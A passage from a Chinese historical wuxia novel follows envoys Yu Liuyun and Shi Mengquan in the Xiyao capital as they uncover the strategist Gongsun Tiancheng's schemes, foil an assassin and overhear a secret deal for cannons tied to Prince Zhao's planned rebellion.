玉旒云虽然眼中有杀意,但表情如常,笑道:“我都说了,必然不是殿下做的。无谓解释来解释去,反而伤了感情,才叫那背后捣鬼的人得意。再说,临渊城中只有可数的几个人知道我来,殿下去拍了桌子,岂不天下皆知了?” 段青锋怒道:“话是如此,但是何人如此大胆,竟然到绿窗小筑来捣乱,我非把他揪出来不可。” 玉旒云淡淡道:“要揪出这个人来有何难?其实猜也猜到是什么人想叫我们反目。” “你说……公孙天成?”段青锋也不笨。 玉旒云点点头:“当夜六合居里看戏他也有份。凭他的本事要将这戏一字不差地记下来,也无甚困难。现在还有谁比他更想咱们心生芥蒂呢?”她自己斟酒,显得一点儿也不生气:“照我看,就由着他演戏,咱们只当是耍猴儿——当日被气得跳起来的只有冷千山这个草包。程亦风且泰然处之,殿下和玉某人莫非还比不上程亦风的气度?” 段青锋的面色也渐渐恢复过来:“玉大人真是宰相腹中好撑船。当日在六合居,你也是只当看热闹而已。喝酒,喝酒!” 玉旒云擎杯一笑:“那就是说我的气量最多也就和程亦风差不多了?嘿嘿,我这个人最喜欢争强斗胜,偏偏就要比他还大度些——鸨儿!鸨儿!” 鸨母从外面应声而入:“公子,有什么吩咐?” 玉旒云道:“这出戏演得真是新奇,一回演完了请台上的姑娘、乐师和写戏的人都一起来,我重重有赏。” 鸨母当然不认识玉旒云是何人,媚笑道:“姑娘们和乐师奴家一会儿就给公子叫来。不过这写戏的人……嘻嘻,殿下,奴家听说这戏是您的手笔,是不是真的?” 段青锋无法否认,强笑道:“我一时涂鸦之作,写好就丢掉了,是什么人找了回来?” 鸨母笑得花枝乱颤:“哎哟,奴家只当他是胡说八道,顶着殿下您的名号招摇撞骗,不过是看这戏实在有意思,才叫姑娘们排了,好博人一笑。竟然真是殿下您的大作……哎呀,看来奴家跟着殿下伺候的日子久了,还学到了一点儿本领。” 段青锋皮笑肉不笑:“请问是不是那天和牟太师一起来的公孙先生?” “公孙先生?”鸨母摇着头,“奴家可不认识什么公孙先生。不过说起来,也真和太师大人有些关系呢。奴家这就叫张公子上来。”说时,扭摆着腰肢就下去了,不时,领了一个年轻书生上来。在座各位无一人认识。这书生却对段青锋倒地就拜,道:“小人张至美,拜见太子殿下。” 他虽然对段青锋崇拜得五体投地,但段青锋却不认识他,皱着眉头:“你是?” “牟太师是小人的泰山。”张至美回答,“小人佩服殿下的才学,对殿下的戏文和诗词都倒背如流,只可惜身份低微,一直也未能拜见殿下。今日能与殿下交谈,死而无憾矣。” 这是什么话?段青锋差点儿没起一身鸡皮疙瘩。“这戏文你是从何处得来?” “小人……” 张至美才开口,玉旒云就朝鸨母挥了挥手,给了她一锭银子:“鸨儿,你去忙你的吧。我们自同张公子喝几杯。” 鸨母眉开眼笑,连声道谢。待她走了,玉旒云才请张至美坐下,道:“公子方才说这戏文是从何处得来?” “是我新近结识的一位大哥。”张至美当下把如何与公孙天成相遇,又如何“一见如故”的事都说了。至于公孙天成怎样毒晕他府中的卫兵,又怎样撇他一人在绿窗小筑,累他被岳父痛骂一场,他不知道内情,自有另外一番理解。 “前日我又和公孙大哥见面,原来他那日回客栈真的是去取戏文了。不过,他说这戏不是他所作,而是他偶然得到的一部殿下未曾在绿窗小筑演过的作品。”张至美说起段青锋的文章来就眉飞色舞,“他所讲的,就是今日演的这部了。我知道殿下的文章风行天下,冒名的必然也不少。但是我看公孙大哥的那本戏文,遣词造句的风格果然和您的一模一样。即使不是您亲自所作,那也是高手才能模仿得出……”他说到这里,羞赧地一笑:“小人一直无缘结识殿下,公孙大哥给小人出主意,只要能排演这出戏给殿下看,无论它是否殿下的真迹,总是给了小人一个向殿下表达崇敬之情的机会。不知殿下看后觉得小人的编排可达到殿下的十分之一么?” 果然是公孙天成!段青锋恨不得把这个莫名其妙的张至美一脚踢出绿窗小筑去。 玉旒云假装端起杯子来饮酒,其实是掩饰自己幸灾乐祸的表情:段青锋啊段青锋,公孙老狐狸可是你自己惹回来的麻烦!你祖母教训你果然没错! “说实话,”她对段青锋道,“我乃是一介武夫,对殿下那阳春白雪的《彼岸花》还有些云里雾里,不过看张公子排演的这出戏就感觉热闹有趣得多。演义传奇最是脍炙人口,不知殿下当初写了草稿为什么弃之不用?这么有趣的戏如果失传,岂不可惜?” 段青锋强笑:“传奇毕竟是传奇,杜撰居多。编派古人,大家可以一笑了之,而毁谤今人,恐怕就会惹祸上身了。而且若是误导百姓,甚至误导史家,那可遗害千年。” 玉旒云笑了笑:“史家之言难道就是真相么?还不是春秋笔法?爱谁谁就是君子,谁就是足智多谋,恨谁谁就是小人,谁就是奸诈狡猾。我倒觉得古往今来的正史才是最大的谎言,才真正遗害千年。” 段青锋听言,心有戚戚焉:成王败寇,自古而然。虽然人人都说玉旒云脾气古怪,最好避而远之,但听这一句话,他觉得此人和自己还有些相似之处。只是,权力场上,哪里有朋友呢? 他清了清嗓子,对张至美道:“听起来这位公孙先生也是同好,怎么不见他来绿窗小筑?” “本来也是要一起来排演的,”张美道,“不过临时有事耽搁了……殿下还未明示小人——这戏小人诠释得到底符不符合您的本意?” 若不随便敷衍几句,他还没完没了了!段青锋因道:“张公子高才。我原本写的一出烂戏,竟被你排演得有声有色,连我的贵客都赞不绝口。将来公子若是自己写了什么戏文,我还得拜读拜读。” 张至美喜得两眼放光:“我的几篇破文章怎入得了殿下的法眼?殿下若是真觉得小人还过得去,就赏小人一个《彼岸花》中的位子,如何?” 段青锋可没心思和这个爱戏成痴的家伙继续纠缠下去,胡乱地答应了下来,叫他速速出去继续督促演戏,并去找鸨母商量参与《彼岸花》之事。 玉旒云见段氏搬石头砸了自己的脚,暗暗笑得肚子都疼了,强板了脸,道:“公孙天成不知有什么临时的事,殿下不怕他有阴谋么?” “我怕他?”段青锋冲口就是一声冷笑,“他一个糟老头子孤身在此能折腾出什么来?”这话说的有些孩子气,他自己很快也意识到了,搭讪给玉、石二人斟酒,便掩饰过去,既而道:“我西瑶将和樾国结盟,决不会出尔反尔,任何人也休想破坏。两位大人打算如何说服我父王呢?” 这才算是讲到了正题。玉旒云笑笑:“不知我们何时有幸能拜见皇上?” “三天。”段青锋道,“三天后是观世音菩萨出家日,宫里会有一场盛大的法会,我祖母也要从慈济庵里回宫参加。到时父王必然会从枯云寺回来。两位出席法会,自然就会见到父王了。” 听他对慈济庵和孝文太后如此轻描淡写,仿佛昨日之事大家心照不宣,玉旒云便微笑道:“如此甚好。”但又同石梦泉互望了一眼:这法会应该是孝文太后临时办的吧?借集合善男信女念经的名目来汇聚各路人马明争暗斗——听说江湖上有两种人惹不得,一是出家人,二是女人,孝文太后两样都是,果然够厉害的。然而,她既站在樾国这边,玉旒云就可以少花很多力气了。 因道:“殿下放心。要劝人停战,我还没那个本事。但是劝人出兵,我玉旒云还从来没失败过呢!” 50. 第 50 章 想以大度的姿态来挫败公孙天成的挑拨离间之计,玉旒云自以为是高明,实际正中公孙天成下怀—— 的确,公孙天成初来西瑶时对结盟有着“上策”、“中策”和“下策”。当他觉察到牟希来已经和樾人有约在先时,就立刻转“上策”为“中策”。后来又注意到段青锋频频请玉、石二人出外“游览”,估计太子殿下也放弃了当初“通杀四方”的鸿图大计,选择了玉旒云作为盟友。看情形,西瑶和樾国的盟是结定了,无非是同玉旒云或者是樾国的另一什么集团而已,决定的关键就是西瑶内部的争斗是牟希来获胜,或者段青锋获胜。 无论是哪一种情况,对楚国都毫无益处可言——若两者之一胜出,自然同樾国合作,纵有些须摩擦,还是矛头直指楚国;若然两者和解,同时与樾人结盟,则楚国无翻身之地。 这时就没有再使用原先“下策”的必要了。公孙天成考虑,唯一对楚国有利的,是借用西瑶两政治集团内部矛盾使其国内动荡,届时自顾且不暇,当无法协助樾人——而若能顺藤摸瓜,找出牟希来在樾国的盟友,挑起他同玉旒云之间的争端——这自然是上佳之策,不过,老先生并没有对这一条抱太大的希望,他可不想似段青锋一样,叫齐了所有的名角儿,最后控制不住。掂量自己的手腕和精力,再考虑剩下的时间,他决定只在段青锋和牟希来身上下功夫。 于是,这边怂恿了张至美去绿窗小筑演戏,那边就又到牟希来府上拜访。太师府的人说牟太师正和各部大人商议要事,没空接见。公孙天成就笑笑:“我不急,我等他。” 下人道:“那你就在这里候着,我进去通传一声,看看今天你等着等不着。” 公孙天成道:“要这样,不如我和你一同进去,若是能等着,我就在那里等,等不着,我就转出来,省得你多跑一趟,怎样?” 下人只知道这老先生古怪,姑爷成天念叨,老爷也曾经“热情款待”,自己便懒得麻烦,领了他朝里走。 两人才到书房的院里,就听见牟希来在里面怒骂:“你且看看你自己的下属,一个关和,一个蓝沧,竟然都成了太子的人!你这个礼部尚书,是不是要等太子把礼数都颠倒过来,你才会发现?” 礼部尚书因为理亏,不敢有半句分辩。公孙天成拉住了太师府的下人:“看来你家老爷正在火头上,等等再通报吧。”那下人当然不想找骂,却不知道自己正陪着公孙天成在门外偷听。 只听牟希来继续训斥道:“兵部是卓思远的天下,他是怎么个打算,咱们管不了。但是你们其他人呢?你们都是怎么看着自己的下属的?” “他们都不是什么要职,”有人嗫嚅着回答,“庶民都是做不了要职的——柳成舟是看粮库的,汪必达是打铁的,太子得着他们也没什么用……所以,我们也没想到……” “混帐!”牟希来道,“什么叫看粮库的?什么叫打铁的?民以食为天,粮库就是国家命脉,而铁器——” 当然就是指的精良的武器了,工欲善其事,必先利其器,装备高人一等的军队,在战场上的胜算也大一些。牟希来书房里聚集的都是朝廷要员,这个简单的道理人人都晓得。有一个就道:“不是说他们没有用……太子得着他们,难道还能造反么?江山总是太子的……” 他还没说完,只听“咣”的一声响,显然是牟希来摔了茶杯:“江山当然是太子的,我几时说不是了?西瑶的江山姓段,咱们都是段家的臣子。决不能让栗佤族的人抢走这大好河山!” 栗佤族。公孙天成知道西瑶建国之前的历史。这族原本控制着茶马道,而莽族段氏就垄断海上交通,如今段氏为王,连茶马道的生意也都接管了。牟希来这样说,莫非栗佤族又要夺权么? “太师又怀疑老太后?”一人道,“她当尼姑都当了几十年了,从来都没有和栗佤族的人有任何交往。就算她有为本族人争权的私心——我说句大不敬的话,她老人家还不知道能再康健几年,怎么会这时候来惹事?” 牟希来气乎乎的在里面踱着步:“你们这群人怎么只看眼前?你们怎么不看看老太后是怎么控制着太子的?现在太子这样对她言听计从,将来还不都把江山拱手让给栗佤族人?” “太师多虑了。”众官员道,“老太后吃斋念佛,哪里控制太子了?这不才传懿旨下来要办法会?我看太子是年轻心急,结果好心办坏事,这次的事跟老太后扯不上关系……” “你们是猪油蒙了心么!”牟希来斥道,“老太后为什么突然间要办这个法会?宫里要办什么大事,总得提前两个月预备,现在却是三天之内就要把法会准备出来——你们说太后贤德,有哪一个贤德的主子提出这种无理要求的?她分明是用法会的名义叫皇上回宫,好强迫他按照自己的意思办事。” 在座的官员自然都体会到仓促准备法会的辛苦,心里也犯嘀咕,但对牟希来的话还是不信:“太师,为什么几十年来你都跟太后过不去呢?” 牟希来气得直跺脚:“你们且不要再跟我较真这个。我叫大家来,就是想大家一道想一想对策。你们都有何看法?” 众人显然是你看看我,我看看你,说不出话来。 原来段青锋背后还有一个老太后,公孙天成想,难怪牟希来一行去找武德帝告状也没解决任何问题。听他们的意思,这老太后在西瑶还有举足重轻的地位。玉旒云和石梦泉这几天来去匆匆,不知是不是已经见过老太后了?我要去会会这幕后的大人物吗?他立刻打消了这个念头:如果一切的事情都如牟希来所说是太后所策划的,那么太后早已选择了玉旒云作为结盟的对象,我即使见了她,也是浪费时间而已。 那么现在该如何应对? “皇上的本意是要跟樾国的赵王爷结盟。”有人试探着说道,“赵王爷是想要造反的,这是再清楚不过了。如果我们提供兵器给他,帮他造反,他就不收西瑶商品的关税,这好处的确大。不过太子殿下跟玉旒云结盟,玉旒云是樾国皇帝跟前的红人,通过她叫樾国皇帝减免我国的关税,岂不更容易?总比造反要简单吧……” 樾国的赵王爷要造反!公孙天成的心剧烈地跳动起来,原来还有这些隐情!这岂不是天要助他!那么他哪里还需要在这里促成西瑶内部党争?只要把赵王谋反的消息叫细作去樾国境内广为传布,到时赵王不得不改变计划提早起事,而樾帝也不会坐以待毙,樾国必然大乱。此后不管北方江山是否易主,都会元气大伤,楚国就能得到修养生息的机会,甚至能够彻底铲除敌人——未想到如此轻易就找到了扭转乾坤的关键! 公孙天成感觉看到了楚国是希望,没必要再继续偷听下去了,朝那家丁拱了拱手:“你家老爷看来有机密事要商议,我不便在此。还是改日再来拜访吧。” 家丁奇怪地看了看他,暗想:这也有道理,若是叫老爷知道我领个人在门外听他们说话听了这么久,还不得打掉我一层皮?总算这老先生还有点儿良心,不想害死我。于是赶忙道:“那我送先生出去。” 出了太师府,就急匆匆回到五洲馆,叫随从磨墨,他提笔写了两句诗:“肖家娘子树下走,斑鸠占了喜鹊窝。”写罢,叫随从立刻起程送回凉城去。“这信要交到程大人的手上,”他吩咐,“不过,他周围可能有奸细,所以你行事要小心。最稳妥的方法就是通过他的亲随小莫把这封信交给他。” 随从答应了,他又叮嘱:“千万记住,这封信事关樾国的大变化和我国的前途,一定要叫小莫交到程大人手里。” 随从不敢耽搁,立即动身。而他一走,公孙天成又写了第二封信,这一封是写给远平城杀鹿帮辣仙姑的。也有同样的两句诗,请她设法把这两句诗传到樾国去。 这封信,他请五洲馆的人员代为交给“民信局”传送。那五洲馆的人听了,笑道:“老先生有所不知,我们西瑶重商,便是寄信也成了生意,不似贵国只有民信局一家垄断。我国许多大商号根据自家生意的路线,做邮驿生意,去东海的走义友商号,去南海的走成观商号,往西方天竺诸国的有悦德商号,而先生的信去往北方,那么送到泰和商号是再好不过的了。” 公孙天成无心跟他罗唣,道:“那么就送到泰和商号吧。” 五洲馆的人仿佛偏要显示自己服务周到,还不就此住口,道:“其实先生既下榻于此,就可以使用官邮,比民信快,又不容易丢,岂不两全其美?” 公孙天成有些不耐烦了,道:“不必了,这是私信,还是走民信为上。” 五洲馆的人好心没好报,嘀咕道:“私书附递多的去了,摆什么廉洁!”其实他哪里晓得,公孙天成就怕这样的书信走了官邮被拦截下来,那便坏了他的大事。 原本信一出手,他就可以离开西瑶。不过公孙天成考虑,自己原是为了结盟而来,若就此离开,难免使人生疑,须得多留数日,假装继续争取盟约——玉旒云是樾国领侍卫内大臣,樾帝的亲信,不知她同赵王的实力孰高孰下。但现在她身在千里之外,总不能插翅飞回国去救驾。她消息得到的越晚,准备得越不充分,她同赵王之间的斗争也就愈加坚苦卓绝,对樾国的损害也就愈加厉害。 这样计划着,他就继续在五洲馆里消闲,有时独自品茗,有时和别国的使节谈天,见到玉旒云和石梦泉进出,就同他们微笑招呼。玉旒云总是还带着那种“骑驴看唱本——走着瞧”的态度,殊不知人家老先生的唱本早就改变了——其实,公孙天成从来就没有唱本,他只有一个目的,究竟怎么来达到,完成到什么程度,都是一边做一边决定的。这就是老先生比这几个年轻人棋高一着之处。 忽忽就过了两天,次日即是孝文太后法会之日。五洲馆中的各国使节都接到了邀请,因为事出仓促,大家都忙着准备礼品,不亦乐乎。公孙天成自然也要做些场面上应景的事,他决定手抄一部《心经》为礼,便宜又得体。 约莫到了黄昏的时候,抄写完毕,在院子里欣赏夕阳,就看见玉旒云同石梦泉走了进来,他笑道:“两位大人总是早出晚归。早晨就是要品尝特色早点,晚上莫非又要去看戏么?” 玉旒云冷笑:“不错,我正是要去看戏。那出《大青河之战》实在精彩之至,叫人百看不厌。” 公孙天成知道她是明明被气得半死,还要硬充大度。并不点穿,只笑道:“大人真有雅兴。可惜老朽年纪大了,要不然这么好看的戏,老朽也要多看几场。” 玉旒云又是一声冷笑,对自己暗道:不和这半截入土的老家伙一般见识。因举步往前庭去。 然而这个时候,猛然听得背后一阵风声。她和石梦泉都是生死线上往来的人,立刻就识出这是利器划空之音。回身看时,只见一个黑衣人手持一柄钢刀正朝他们这边斩下。石梦泉立刻一把推开了玉旒云,以空手入白刃之势直朝钢刀上抓去。 黑衣人愣了一愣,变斩为削,想逼退石梦泉。然而石梦泉变招极快,立刻化实为虚。黑衣人此一削便落了空。不过他也不含糊,不待招式使老,立刻抽手往回,将刀当胸一横,避开了石梦泉的一掌。跟着,他抖动手腕,舞出万朵刀花,寒光霍霍,直叫人眼花缭乱。 只是石梦泉并不被他的这些虚招所迷惑,以静制动,看准了他的空门,迅速地一招击出。这人还未反应过来,已经被拿住了脉门。石梦泉喝一声“放”,他的钢刀就脱手而飞。那边玉旒云轻轻一纵,迎着刀身落下的方向跃起,轻而易举地就将这利器握到了手中,挽个花儿,架在他的脖子上,道:“你是什么人?谁派你来的?” 黑衣人瞪了她一眼,猛地头一歪。待玉、石二人意识到他服毒自尽要捏住他的牙关时,他已经七孔流血而死。 两人互望了一眼:何处来的刺客?他们拉下黑衣人的面罩,很是陌生。 如果是楚国武林中人追杀到此,不会这么轻易就被他们制住,也不该立刻自行了断。这究竟是什么人? 公孙天成显然是方才是受到了惊吓,面色土灰。玉旒云忍不这刺他一句:“怎么?公孙先生向来料事如神,却没有料到自己的死期么?” 公孙天成这才恢复了常态,整了整衣衫,道:“这杀手分明就是冲着大人而来,跟老朽的死期有什么关系?多承大人赞老朽料事如神,若大人不弃,老朽倒愿意为大人占一占死期,未知意下如何?” 口舌之争胜不过他。玉旒云知道当务之急是查出这个刺客的身份以及其幕后主使。当然,还要把尸体处理掉。她即和石梦泉交换了一个眼色,一起将尸首拖到了后院花园的假山中。 两人剥下了刺客的黑衣仔细搜查。看夜行衣下服装的式样和质地都是西瑶本地之物,得不着任何的线索。直摸到了腰间才发现一面小小的牌子,上面写着“泰和”两个字。 这是什么组织?两人都觉得仿佛在哪里听到过。接着,同时一拍脑袋:“哎呀,泰和商号!”这不就是当日用贡品灵芝陷害玉旒云的商家么?其总号设在瑞津,据说西瑶境内有十几家分号。据段青锋所言,他当时只是假扮苦主,其余的一切都是赵王安排好了的。如此看来,这泰和商号的背后黑手不是西瑶皇室,而是赵王。 两人心底不觉陡然一凉:赵王的人已经发现他们的行踪了么? 是自己不小心泄露?是孝文太后的奸计?还是……一时之间理不出个头绪。 “要不要去泰和商号探个究竟?”石梦泉提议。 “也好。”玉旒云想:也是时候看看赵王是怎么和西瑶人搭上线的。 两人就向五洲馆的人打听了临渊城中泰和商号的所在,趁着暮色悄悄来到了跟前。这条街在临渊最繁华之地,店铺鳞次栉比,泰和商号和别家比起来并没有惹眼之处。其时搬运工人已经到了放工的时刻,商号门口都是排派着队领工钱的人。尚有一辆板车停在路当中,有一个工人正把最后的三袋粮食扛进商号中去。 玉旒云心生一计,拣了一枚小石子朝工人的队伍中丢了过去。有人被打中了,“阿唷”叫了一声,登时和旁边的人起了摩擦。大家你推我搡,那扛粮食的左闪右避,就是进不得门去。玉旒云就又扣了几枚小石子,朝那扛大包的甩了出去。这次准确无误,全都打在了粮食包上。里面装的乃是面粉,四下飞溅,门口的工人、工头顷刻都被笼罩其中,咳嗽不止。算帐发钱的气得破口大骂:“还闹!还闹!粮食都叫你们糟蹋了。” “够他们闹一会儿的了。”玉旒云看见商号里有管事模样的人跑了出来。“走!”她招呼石梦泉,“咱们进去!” 两人便绕到了后巷,轻身一跃,上了泰和商号的屋顶。因为天还没有全黑,不敢轻举妄动,只隐身在屋脊后,静静地看着下面。 显然前街的骚乱吸引了许多的人,有维持秩序的,有事后补救的,有看热闹的,都朝着正门跑。两进的庭院,眨眼间后进就跑得不见了人。玉旒云这才蹑手蹑脚地揭开身下的瓦片,朝房内张望。 这一间似乎是库房,里面光点着灯,并不见人。两人又悄悄翻上正屋,揭瓦望望,堂内也是空无一人。再下来,到东厢,才听到人声了。底下一人问道:“究竟是出了什么事?”有人回答说工人打闹,撞坏了面粉袋子。这人就道:“这点儿小事,还要翻天不成?你去跟他们说,谁再吵吵,我就叫他在外面把面粉一点一点地拣起来,不拣得石头路上看不出白,就不许走。”他的手下应声而去,不时,外面的吵嚷声果然小了下来。玉、石二人都可听见屋内清晰的算盘声了。 他们屏住呼吸,希冀可以听到一点儿关于赵王关于阴谋的蛛丝马迹。然而,那房中人只是不停地在算帐,两人直呆了一柱香的功夫还是一无所获。这时外面的骚乱平息了,有人前来回报。算帐的只是“恩”了一声,问道:“上了门板没?” 回说:“没,有贵还没回来。” 算帐的人“哦”了一声。 回话的揣摩老板的心思,似乎是怕他怪罪自己的同伴,连忙道:“应该就回来了。” 算帐的道:“那么就给他留着门。”此后,又不发话了。 玉、石二人心中都着急,不知怎样才能试出泰和商号的虚实。也许不得不铤而走险了,玉旒云想,如果赵王已经知道了我们的行踪,编什么理由也骗不过他,只有和他撕破脸来。因悄声对石梦泉道:“你回去五洲馆,把那刺客的尸体带来,丢在门口给他门看看。” 石梦泉大约知道她的用意,是想制造些混乱让敌人露出马脚。然而这也是把危险往自己身上拉。因略略犹豫地道:“你就不怕这泰和商号中还有高手?” 玉旒云轻蔑地一笑:“如果还有高手,刚才怎么不派了来杀我们?我看那草包就是泰和商号里的第一高手了。” 石梦泉虽然觉得她的决策有些轻率,不过非常时期只能走一步看一步,便点头答应。不多时,就扛了那个刺客的尸体来,放在泰和商号的正门口,又回到房上同玉旒云会合。其时天已黑透,并没有人见到他的行踪。 没一刻功夫,果然底下就慌乱起来了。有人匆匆地跑来报讯:“有贵死在门前了!”算帐的闻言,一惊而起,急急跟着出去看状况。玉、石二人就在房上潜行。 到了第一进的院子里,外头的人已经把尸体抬了进来。玉、石二人现在可看到,那算帐的掌柜是个四十来岁的秃头,在满院灯火的照映下,他的头顶显得油光锃亮。 众伙计中有哭的有闹的,七嘴八舌地道:“好好儿的出门怎么就死了呢?难道撞了鬼?哎呀,好像是被人毒死的人!他和什么人有仇吗?” 玉旒云和石梦泉交换了一个眼色:看来泰和商号里不是所有人都知道其真正的任务所在,这也不希奇。 秃头掌柜负着手,绕那尸体走了好几圈儿。众伙计都道:“掌柜的,报官吧!” 秃头掌柜摇着亮晃晃的脑袋:“不行。这要报了官,捕快齐来检查,把事情闹大了,谁还敢上门做生意?有富,你快带几个人把有贵抬到柴房去,明天偷偷运出城去安葬。” “可是掌柜的,”伙计们都道,“死了人,不能不报官。说不定是那百运商号上个月跟咱们抢生意不成,就生了歹心呢?一定要请大老爷老查个清楚才行。” “我又没说不查!”秃头掌柜道,“我只是不想把事情闹大而已——有荣,你赶紧去报衙门出事了,悄悄带大人到商号里来——千万记住,不要被旁人发觉!” 伙计有荣答应了,立刻飞跑出门。秃头掌柜便又道:“其他人该做什么做什么去,谁敢朝外泄露半句,立刻就给我卷铺盖滚蛋!” 伙计们战战兢兢,眼见着尸体被抬走了,也只好各自散去。秃头掌柜身边只剩下一个管事模样的,陪着他回后进来,边走边说道:“有贵的身手并不差,但看这样子竟没交手几招就……”掌柜横了他一眼,他赶忙放低了声音,玉、石二人便听不见了。 等了大概有一个时辰的光景,伙计有荣带着人回来了。莫非还真的去衙门里找了官差来?玉旒云和石梦泉探头张望——来人并没有穿官服,带了两个随从各自打着灯笼,其上也没有官府的字样。然而这人的举手投足都官威十足。玉、石二人认出来了——这是西瑶一人之下万人之上的牟希来牟太师啊! 任是天大的命案也不须劳动太师大驾。果然!果然!玉旒云咬着嘴唇望了望石梦泉:太师是和赵王狼狈为奸的,自己的行踪显然是由他泄露给了赵王的耳目。不知西京里现在是何情形? 石梦泉心中焦虑何下于她?但是面上一点儿也不显露出来,只是镇定地望着她,仿佛是说:别急,兵来将挡,水来土掩,且先看看情况再说。 两人附耳于瓦上,房内的对话就一清二楚。只听牟希来道:“柴掌柜,当初结盟之时已经说好,盟约要一年后才生效。在此之前,我双方当假装互不相识。你今日却把老夫找了来,岂非言而无信?” 秃头柴掌柜道:“若不是太师背约在先,我岂会出此下策?” 牟希来愕了愕:“什么‘背约’?你把话说清楚!” 柴掌柜冷笑道:“自然是要说清楚,否则我请太师大人来做什么?请问,你既然已答应了同我樾国的盟约,为何又偷偷请了楚国使节来议盟?” “哪有这种事?”牟希来失口否认。 柴掌柜“哼”了一声,道:“五洲馆中住的公孙天成这个人,难道不是楚国的使节么?” “公孙天成?”牟希来假装想不起来这个人,思索了片刻才道:“他是东海蓬莱国的使节,前来商讨珍珠生意一事。柴掌柜怎么会说他是楚国人?” 柴掌柜嘿嘿冷笑道:“太师,你莫要睁着眼睛说瞎话啦。” 牟希来被他逼得退了一步:“五洲馆中各国使节都登记在册,他在册子上登记的就是来自蓬莱国,他也曾到我府上商讨珍珠生意一事,我如何说瞎话?” 柴掌柜道:“不错。这位公孙天成的确是以蓬莱国使节的身份入住的。不过,蓬莱国的使节为什么要给楚国远平城的齐国夫人写信呢?”说时,丢出一张纸来,正扔到牟希来的脸上。 牟希来草草扫了一遍,已然变了颜色,还强自镇定,道:“这封信里叫齐国夫人把两句打油诗拿去贵国传播开,虽然是有些诡异,不过也看不出什么害处。何以见得此人就是楚人?又何以见得是来跟我国结盟的?” “肖家娘子树下走,斑鸠占了喜鹊窝。”柴掌柜念了出来,“太师高才,怎么会连这两句的隐喻都看不出来?‘肖’字加‘走’字就是‘趙’,‘树阴’为‘樾’,后有‘鹊巢鸠占’,意思就是说赵王爷要造反。” 啊!房上的玉、石二人都吃了一惊,仔细把这两句石一推敲,可不就是这么个意思。赵王要篡位对于他们来说不是新闻。赵王和西瑶人联手,这也早就由段青锋告知了。只是公孙天成……事情变得迷雾重重,两人好生不解。 牟希来道:“赵王爷要造反?这是什么谣言?” “什么谣言不紧要,”柴掌柜道,“是谁传给这个楚国使节知道的?” 牟希来道:“柴掌柜这一问就是指我等故意要同赵王爷为难了?赵王爷同我国的盟书上明明只有铸箭和火炮的技术两项,可没有提到帮他改朝换代,我们从何传起?” 柴掌柜道:“太师不必砌词狡辩了。赵王爷为何要铸箭和火炮的技术,大家心照不宣。我看是你西瑶出尔反尔,想转和楚国结盟,所以故意要坏赵王爷的好事,挑起我樾国内部的争斗,是也不是?” 也是,也不是,玉旒云想,孝文太后的意思当然是要让樾国内部斗争起来,不过那得在灭楚之后。如今这局面,定是公孙天成这老狐狸不知从何处听到了赵王谋反的消息,所以写了这封信想使我国产生动乱。谁知阴差阳错,这信竟然落到了赵王部下的手中。 她这样想着,突然又起一念:从头至尾还未提到我跟梦泉,莫非他们不知道我们来了? “柴掌柜,既是盟友,如何相互猜忌?”牟希来道,“我西瑶国家虽小,但也知道一诺千金的道理。这些事端多半是那些想破坏我两国盟约的小人搞出来的。此信既然已经被贵国截获,我们只消把这写信的人除掉,就万事大吉。深夜在此争吵,既伤和气又惹人怀疑。” “除掉?”柴掌柜道,“你说的倒简单?我方才派了个手下去一探虚实,却已经遭了毒手了。” 原来那杀手的目标是公孙天成!玉旒云和石梦泉互望一眼,他们竟在不经意间救了对头的性命。两人心中同时又是一喜:看来赵王的人还不知道他们的行踪!可不是么——如果牟希来有心告发,他们碰面的第一天,消息恐怕就已经传到泰和商号了,哪里还的到此时? 牟希来道:“这也不是那也不是。柴掌柜,你夜晚把我叫来不会就是兴师问罪这么无聊吧?咱们在此相互怪罪就是到了天光也解决不了任何问题。如今赵王爷的意图已经泄露,好在还没传过江北去,我们该及时想补救之法才对。你要我做什么,给个明话,我也好考虑。” 柴掌柜道:“好。太师爽快。我想赵王爷的计划既然已经被一个人探知,保不准没被第二第、三个人探知,也不晓得旁的有没有人再往外传递消息的。为了保王爷千秋大计,以防万一,望贵国将所答应的二十门火炮立刻装船由海路运输至我国。” 这就是预备赵王武力造反了?玉、石二人暗暗心惊,二十门火炮用来攻城,哪有攻不破的? 牟希来道:“柴掌柜是要代表赵王爷同我国修改盟书了?” 柴掌柜道:“正是。二十门火炮按照约定由贵国制造,王爷会在一年后来领取。现在只不过是提前领货,太师大人不会交不出来吧?还是太师根本就想毁约呢?” 牟希来道:“笑话, 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这两国之间事关民生社稷的谈判居然也和菜市场中老太太同肉铺老板间的斤斤计较一般。玉旒云忍不住摇了摇头:却不知牟希来叫这柴掌柜杀什么人?凭柴掌柜那几个三脚猫功夫的手下,能做什么呢? 牟希来道:“柴掌柜觉得这提议不公平,你又要加什么价码?” 柴掌柜道:“你同我要一个人头,我也同你要一个人头——我就要这个公孙天成的脑袋,怎么样?五洲馆里都是你们的人,下手总不困难吧?” 玉旒云和石梦泉等到谈判的双方都散去了,才神不知鬼不觉地回到了五洲馆。他们看到公孙天成的房间亮着灯,但谁也没想去警告老先生他命在旦夕。因为他们还有更重要的事情要担心——虽然就目前看来,泰和商号的人还没有觉察到两人的行踪,不过这只是迟早的事情了。他们在西瑶的行程决不可再拖下去,结盟的事情必须在明日法会之上就定下来。 “其实西瑶这样摇摆不定的,我也不指望他的兵队能如何。”玉旒云道,“如今看来反正他们是不可能和楚人连成一气。我只是想要他们灌钢铸箭的技术还有火炮。” 石梦泉道:“牟太师答应给赵王爷运二十门火炮,必然从天江出海,由海路运至大青河口,再登岸由陆路运输。这其中有太多的机会……” “你想抢?” 石梦泉点点头:“火炮一旦运到,赵王爷可能随时起事。他始终是皇上的心腹大患,早也是除,晚也是除,不如就借这些火器的威力先把这个隐患给消除。而在我们,究竟是得到那技术本身,还是得到造好的炮,我想也没有太大的分别。我就不信以我们军械司中工匠的巧思,还模仿不出几门炮来。” 玉旒云嘻嘻一笑:“我也正有此打算。只是我们两个都不习水战,又没有带兵,要抢一船的火炮恐怕有些困难。” 石梦泉道:“这一层我也想到了,所以我们不能在水路上动手,应该等到上了岸。” 玉旒云一拊掌:“哈,你真是跟我想到一处去了。咱们的队伍还在瑞津驻扎着,不知刘子飞那老小子有没有把军中上下搞得乌烟瘴气,正是咱们是收回队伍的时候了。” 石梦泉只是就事论事地分析情势,并没有想到去瑞津收回兵权,听玉旒云这样说,愣了愣,道:“他们是奉了圣旨接管了军队,咱们要如何收回呢?有一点什么动作被赵王发觉,都会引来大祸。” 